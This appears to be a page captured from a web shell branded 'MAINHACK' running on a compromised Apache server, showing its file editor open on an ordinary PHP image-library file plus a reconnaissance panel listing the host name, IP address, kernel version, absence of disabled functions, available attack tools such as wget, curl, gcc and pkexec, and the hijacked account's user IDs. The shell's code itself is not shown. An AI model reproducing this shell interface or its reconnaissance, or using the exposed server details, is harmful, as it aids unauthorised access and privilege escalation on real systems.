[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: AbstractDriver.php
<?php namespace Intervention\Image; use Intervention\Image\Exception\NotSupportedException; abstract class AbstractDriver { /** * Decoder instance to init images from * * @var \Intervention\Image\AbstractDecoder */ public $decoder; /** * Image encoder instance * * @var \Intervention\Image\AbstractEncoder */ public $encoder; /** * Creates new image instance * * @param int $width * @param int $height * @param string $background * @return \Intervention\Image\Image */ abstract public function newImage($width, $height, $background); /** * Reads given string into color object * * @param string $value * @return AbstractColor */ abstract public function parseColor($value); /** * Checks if core module installation is available * * @return boolean */ abstract protected function coreAvailable(); /** * Returns clone of given core * * @return mixed */ public function cloneCore($core) { return clone $core; } /** * Initiates new image from given input * * @param mixed $data * @return \Intervention\Image\Image */ public function init($data) { return $this->decoder->init($data); } /** * Encodes given image * * @param Image $image * @param string $format * @param int $quality * @return \Intervention\Image\Image */ public function encode($image, $format, $quality) { return $this->encoder->process($image, $format, $quality); } /** * Executes named command on given image * * @param Image $image * @param string $name * @param array $arguments * @return \Intervention\Image\Commands\AbstractCommand */ public function executeCommand($image, $name, $arguments) { $commandName = $this->getCommandClassName($name); $command = new $commandName($arguments); $command->execute($image); return $command; } /** * Returns classname of given command name * * @param string $name * @return string */ private function getCommandClassName($name) { if (extension_loaded('mbstring')) { $name = mb_strtoupper(mb_substr($name, 0, 1)) . mb_substr($name, 1); } else { $name = strtoupper(substr($name, 0, 1)) . substr($name, 1); } $drivername = $this->getDriverName(); $classnameLocal = sprintf('\Intervention\Image\%s\Commands\%sCommand', $drivername, ucfirst($name)); $classnameGlobal = sprintf('\Intervention\Image\Commands\%sCommand', ucfirst($name)); if (class_exists($classnameLocal)) { return $classnameLocal; } elseif (class_exists($classnameGlobal)) { return $classnameGlobal; } throw new NotSupportedException( "Command ({$name}) is not available for driver ({$drivername})." ); } /** * Returns name of current driver instance * * @return string */ public function getDriverName() { $reflect = new \ReflectionClass($this); $namespace = $reflect->getNamespaceName(); return substr(strrchr($namespace, "\\"), 1); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.62 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002